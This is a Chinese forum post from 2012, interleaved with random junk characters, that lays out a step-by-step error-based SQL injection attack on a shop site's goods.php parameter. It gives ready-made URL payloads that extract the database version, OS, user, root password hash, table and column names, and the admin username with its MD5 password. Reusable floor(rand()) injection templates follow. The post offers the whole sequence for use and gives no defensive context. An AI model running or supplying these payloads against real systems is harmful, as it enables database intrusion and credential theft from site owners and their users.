判断版本号 ) _+ P, k" n$ j' B
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 G0 N! j( p3 t) t# ~8 m, m$ b' I" a" m( G/ E2 L
判断系统0 M$ Q4 \; J, d4 @+ J/ x2 O
% B- |0 q( ~/ s7 E
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
% v; f/ X! m/ k: r( v8 W8 \8 s; n2 o2 s# m* q6 H8 o. z$ ]
+ r# ^0 G* w% w. E7 U
/ i3 H, o5 z: \% v& l( P# _* r当前 user()( H# @* C) w( l4 N+ Y9 r* ^7 X, g' v
; l% V# `3 o& j1 [http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" Y' T/ q1 l* Q8 C
3 w0 P' I$ H3 Y5 ~+ { U
5 ^' p; t5 @' D) _, W& z# V) g
4 k* u9 g/ F: p当前 database()1 g% e7 t$ M, t+ }3 B! ?
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' H x; {0 e) S4 H3 H
& D B; a: I% {; ^5 y4 p; s! \, z% O: r' _ b- |
( r# t( W- O3 w `
# K6 J3 ~$ }+ ~2 y1 b9 y
root hash- N# w, b& ]1 m# J3 x9 h
) }1 [+ z9 o, B& Q# l$ ^7 Mhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 I$ l+ o1 M% P4 Z0 Q2 u- X1 \) e$ [+ w
0 r7 m; o$ d8 j3 F& E
& i7 J* L7 j9 T9 K/ I当前 数据库表名
2 z) }* W( _) o5 O7 x6 x) k8 W/ J
/ t0 k+ l& O- v) {1 |http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 B1 a1 P: h2 o- ?
! d2 B H- a1 R6 \2 L2 ~* A1 c
* f! j; X6 r0 t5 L7 e; H9 s3 p. E7 D0 @1 }1 E. ?0 i
当前 数据库 user_name 字段8 L, q7 T8 X4 ]3 _3 s5 [9 l# X3 G" m
1 L2 A+ B# v3 Y6 |
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
( d) c, G& s+ Y1 X8 X7 L0 J/ _3 |- g1 V+ @3 o9 G7 }
当前 数据库 字段 password
7 }5 v' v) g% n& Q; Ihttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%230 ^* N& o4 l7 c8 _& v
3 t) B' l& u4 Q% i% c# L/ O+ f1 u% q$ F. O: [+ I
, c3 T! b7 U/ o9 w4 F% C. h获得 admin passwd(md5)1 j) s5 h& M. v/ k
+ }% }' z' f( f! w
7 I. K- ~. b7 B6 Thttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 R( P5 L7 O& d5 w/ \) u2 Y7 k1 L
报错注射. E0 l& B- h! d
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
/ S5 w x4 w9 z/ U' `. a$ \6 m& n3 [
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)/ l# o3 B8 l9 ?# P4 w7 q+ T
( j; G5 |4 j8 P M) g3 |6 D% dand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |
发表于 2012-9-5 14:59:30
收藏
支持
反对